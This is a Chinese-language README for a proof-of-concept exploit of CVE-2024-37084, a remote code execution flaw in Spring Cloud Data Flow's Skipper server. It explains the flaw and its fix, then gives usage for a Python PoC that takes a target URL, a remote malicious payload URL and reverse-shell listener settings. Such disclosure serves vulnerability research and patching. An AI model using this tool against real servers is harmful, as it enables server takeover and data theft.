CVE-2024-37084是Spring Cloud Data Flow中的一个高危漏洞,影响版本为2.11.0至2.11.3。该漏洞允许具有Skipper服务器API访问权限的攻击者通过精心构造的上传请求,将任意文件写入服务器文件系统的任意位置,进而可能导致远程代码执行,严重威胁服务器安全。
漏洞原理: 在受影响的Spring Cloud Data Flow版本中,Skipper服务器在处理文件上传时缺乏对路径的有效验证。攻击者可以利用这一缺陷,构造恶意的上传请求,将包含特定YAML文件的压缩包上传至服务器。由于服务器在处理这些YAML文件时,使用了不安全的反序列化机制,攻击者可以通过在YAML文件中嵌入恶意代码,导致服务器执行任意代码。
危害: 成功利用该漏洞的攻击者可以在受影响的服务器上执行任意代码,可能导致以下后果:
- 服务器被完全控制: 攻击者可获取服务器的最高权限,执行任意操作。
- 数据泄露: 攻击者可能访问或窃取服务器上的敏感数据。
- 服务中断: 攻击者可能破坏服务器的正常运行,导致服务不可用。
修复建议: 官方已在2.11.4版本中修复了该漏洞。建议用户尽快将Spring Cloud Data Flow升级至2.11.4或更高版本,以消除安全隐患。
本项目包括对 CVE-2024-37084 的环境配置、漏洞分析、演示利用和漏洞利用代码(PoC)。
python CVE-2024-37084-Poc.py
用法示例:
python CVE-2024-37084-Poc.py --target_url <目标网址> --version <版本号> --payload_url <恶意载荷网址> [--listen_ip <监听IP>] [--listen_port <监听端口>]
这是针对 CVE-2024-37084 的远程代码执行漏洞的 PoC。
-h, --help
:显示帮助信息并退出--target_url TARGET_URL
:目标服务器的 URL(例如:http://目标_IP:端口/api/package/upload)--version VERSION
:包的版本号(例如:5.0.0)--payload_url PAYLOAD_URL
:恶意载荷的 URL(例如:https://too.lewd.se/yaml-payload.jar)--listen_ip LISTEN_IP
:监听反向 shell 的 IP 地址(默认值:0.0.0.0)--listen_port LISTEN_PORT
:监听反向 shell 的端口号(默认值:4444)